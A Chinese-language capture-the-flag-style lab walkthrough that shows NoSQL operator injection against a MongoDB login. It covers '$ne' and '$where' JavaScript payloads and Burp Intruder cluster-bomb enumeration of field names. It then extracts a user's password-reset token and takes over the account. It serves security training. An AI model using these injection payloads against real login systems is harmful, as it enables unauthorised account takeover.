第四关 利用 NoSQL 运算符注入提取未知字段
**这一关就是利用 NoSQL 运算符注入,**枚举并提取数据库中未知的字段名
提示:1、本实验的用户查找功能由 MongoDB NoSQL 数据库提供支持。它容易受到 NoSQL 注入的攻击。
2、要解决实验室问题,请以 carlos 身份登录。
3、要解决该实验室问题,首先需要泄露用户的密码重置令牌的值carlos
具体操作:
1、在bp运行时,登录用户carlos:随便写个密码,页面响应返回“Invalid username or password”
2、找到触发的登录的POST /login数据包,发往repeater
3、在“repeater”中,将密码参数的值:
"password":"124324"
改成
"password":{
"$ne":"invalid"
}
响应返回了:显示账户锁定的错误消息
无法访问 Carlos 的帐户,但此响应表明 $ne 运算符已被接受,并且应用程序易受攻击。

3、然后尝试重置 carlos 帐户的密码
点击Forgot password——输入要重置密码的用户carlos——生成重置密码的链接 ——但是没有邮件客户端可以点击链接进行激活重置
也就是说,当提交 carlos 用户名时,请注意重置机制涉及电子邮件验证,因此我无法自行重置帐户
4、接着在 Repeater 中,使用 POST /login 请求测试应用程序是否容易受到 JavaScript 注入的攻击
在 JSON 数据中:
添加 “$where”: “0” 作为附加参数
添加一个"$where":"0"
就成了
"username":"carlos",
"password":{
"$ne":"invalid"
},
"$where":"0"
解释:
$where 操作符允许执行任意 JavaScript 代码,执行 JavaScript 表达式(高危)
"$where": "0" 这个写法是 NoSQL(主要是 MongoDB)注入中经常见到的一个 payload,它的意思就是让条件恒为假,即不返回任何数据。
响应返回:没有任何数据返回,只显示了无效的用或者密码

**然后再尝试更改 "$where": "0" 改成 "$where": "1" **
"username":"carlos",
"password":{
"$ne":"invalid"
},
"$where":"1"
响应返回:帐户锁定错误消息
表示正在评估 $where 子句中的 JavaScript。

5、右键单击请求,然后选择发送给intruder
在 Intruder 中,构建攻击来识别用户对象上的所有字段:
原本的 $where 参数:
"$where":"Object.keys(this)[1].match('^.{}.*')"
添加两个有效负载位置。第一个标识字符位置编号,以及 第二个标识字符本身:
改成"$where":"Object.keys(this)[1].match('^.{§§}§§.*')"
从攻击类型下拉菜单中选择集束炸弹攻击

在 有效负载(Payloads) 侧面板中,从有效负载位置(Payload position) 下拉列表中选择位置 1,然后将 有效负载类型设置为 数字。设置数字范围,例如从 0 到 20。

从有效负载位置下拉列表中选择位置 2,并确保将有效负载类型设置为 简单列表。将所有数字、小写字母和大写字母添加为有效负载,则可以使用内置的单词列表 a-z、AZ 和 0-9。

线程池保持默认开始攻击
1、先点击payloads1进行排序
2、再点击长度进行排序
爆破出用户名:username

然后重复上述步骤以确定更多 JSON 参数。可以这样做 通过每次尝试递增 keys 数组的索引
比如:
"$where":"Object.keys(this)[2].match('^.{}.*')"
改成
改成"$where":"Object.keys(this)[2].match('^.{§§}§§.*')"

payload设置和线程池都跟上面第一个爆破一样,然后开始攻击
爆破出来的字段名:password

然后再尝试第三个:
"$where":"Object.keys(this)[3].match('^.{}.*')"
改成
改成"$where":"Object.keys(this)[3].match('^.{§§}§§.*')"
payload设置和线程池都跟上面第一个爆破一样,然后开始攻击
爆破出来的是:email

然后尝试改成4:
"$where":"Object.keys(this)[4].match('^.{}.*')"
改成
改成"$where":"Object.keys(this)[4].match('^.{§§}§§.*')"

爆破出来的是重置令牌名称resetToken

知道了其中一个 JSON 参数用于密码重置令牌,也就是resetToken
6、然后在代理 的HTTP 历史记录中,将 GET /forgot-password ,右键单击请求,然后选择发送到repeater,它与密码重置功能相关
在 Repeater 中,提交 URL 中的无效字段: GET /forgot-password?foo=invalid ,
加了一个参数,响应还是和原来的一样

在 URL 中提交密码重置令牌字段的泄露名称:
GET /forgot-password?resetToken=invalid
响应:令牌无效错误消息,这确认我拥有正确的令牌名称和终结点。

**然后在 Intruder 中,使用 POST /login 请求构建攻击 **
提取 Carlos 的密码重置令牌的值:
保留上一次攻击的设置,更新 $where 参数
改成:"$where":"this.resetToken.match('^.{§§}§§.*')"
就成了:
"username":"carlos",
"password":{
"$ne":"invalid"
},
"$where":"this.resetToken.match('^.{§§}§§.*')"
payloads还跟之前一样
在 有效负载(Payloads) 侧面板中,从有效负载位置(Payload position) 下拉列表中选择位置 1,然后将 有效负载类型设置为 数字。设置数字范围,例如从 0 到 20。
从有效负载位置下拉列表中选择位置 2,并确保将有效负载类型设置为 简单列表。将所有数字、小写字母和大写字母添加为有效负载,则可以使用内置的单词列表 a-z、AZ 和 0-9。
开始攻击
按有效负载 1 和长度对攻击结果进行排序,以识别带有帐户锁定消息而不是无效用户名或密码消息的响应。请注意有效负载 2 列中的字母。
这是token的值:c43e075b7d71f611

7、然后在 Repeater 中,提交 GET / forgot-password 请求 URL 中的密码重置令牌值: GET /forgot-password?resetToken=c43e075b7d71f611
resetToken=c43e075b7d71f611
加了爆破出来的token,响应返回了carlos的重置密码页面

复制响应的url到浏览器,然后重置密码为123456,接着就用carlos:123456,进行登录,靶场过关
